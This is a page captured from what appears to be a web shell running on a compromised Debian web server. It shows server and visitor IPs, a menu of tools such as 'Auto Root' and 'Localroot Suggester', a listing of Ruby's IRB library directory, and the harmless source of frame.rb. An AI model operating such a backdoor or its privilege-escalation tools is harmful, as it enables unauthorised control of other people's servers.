Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
ruby /
2.3.0 /
irb /
Delete
Unzip
Name
Size
Permission
Date
Action
cmd
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
ext
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
lc
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
completion.rb
6.48
KB
-rw-r--r--
2016-11-21 08:58
context.rb
12.39
KB
-rw-r--r--
2016-11-21 08:58
extend-command.rb
9.71
KB
-rw-r--r--
2016-11-21 08:58
frame.rb
1.91
KB
-rw-r--r--
2016-11-21 08:58
help.rb
697
B
-rw-r--r--
2016-11-21 08:58
init.rb
7.62
KB
-rw-r--r--
2016-11-21 08:58
input-method.rb
4.63
KB
-rw-r--r--
2016-11-21 08:58
inspector.rb
3.61
KB
-rw-r--r--
2016-11-21 08:58
locale.rb
4.61
KB
-rw-r--r--
2016-11-21 08:58
magic-file.rb
924
B
-rw-r--r--
2016-11-21 08:58
notifier.rb
7.17
KB
-rw-r--r--
2016-11-21 08:58
output-method.rb
2.43
KB
-rw-r--r--
2016-11-21 08:58
ruby-lex.rb
24.02
KB
-rw-r--r--
2016-11-21 08:58
ruby-token.rb
7.36
KB
-rw-r--r--
2016-11-21 08:58
slex.rb
6.82
KB
-rw-r--r--
2016-11-21 08:58
src_encoding.rb
121
B
-rw-r--r--
2016-11-21 08:58
version.rb
274
B
-rw-r--r--
2016-11-21 08:58
workspace.rb
3.26
KB
-rw-r--r--
2016-11-21 08:58
ws-for-case-2.rb
218
B
-rw-r--r--
2016-11-21 08:58
xmp.rb
4.01
KB
-rw-r--r--
2016-11-21 08:58
Save
Rename
# frozen_string_literal: false # # frame.rb - # $Release Version: 0.9$ # $Revision$ # by Keiju ISHITSUKA(Nihon Rational Software Co.,Ltd) # # -- # # # require "e2mmap" module IRB class Frame extend Exception2MessageMapper def_exception :FrameOverflow, "frame overflow" def_exception :FrameUnderflow, "frame underflow" # Default number of stack frames INIT_STACK_TIMES = 3 # Default number of frames offset CALL_STACK_OFFSET = 3 # Creates a new stack frame def initialize @frames = [TOPLEVEL_BINDING] * INIT_STACK_TIMES end # Used by Kernel#set_trace_func to register each event in the call stack def trace_func(event, file, line, id, binding) case event when 'call', 'class' @frames.push binding when 'return', 'end' @frames.pop end end # Returns the +n+ number of frames on the call stack from the last frame # initialized. # # Raises FrameUnderflow if there are no frames in the given stack range. def top(n = 0) bind = @frames[-(n + CALL_STACK_OFFSET)] Fail FrameUnderflow unless bind bind end # Returns the +n+ number of frames on the call stack from the first frame # initialized. # # Raises FrameOverflow if there are no frames in the given stack range. def bottom(n = 0) bind = @frames[n] Fail FrameOverflow unless bind bind end # Convenience method for Frame#bottom def Frame.bottom(n = 0) @backtrace.bottom(n) end # Convenience method for Frame#top def Frame.top(n = 0) @backtrace.top(n) end # Returns the binding context of the caller from the last frame initialized def Frame.sender eval "self", @backtrace.top end @backtrace = Frame.new set_trace_func proc{|event, file, line, id, binding, klass| @backtrace.trace_func(event, file, line, id, binding) } end end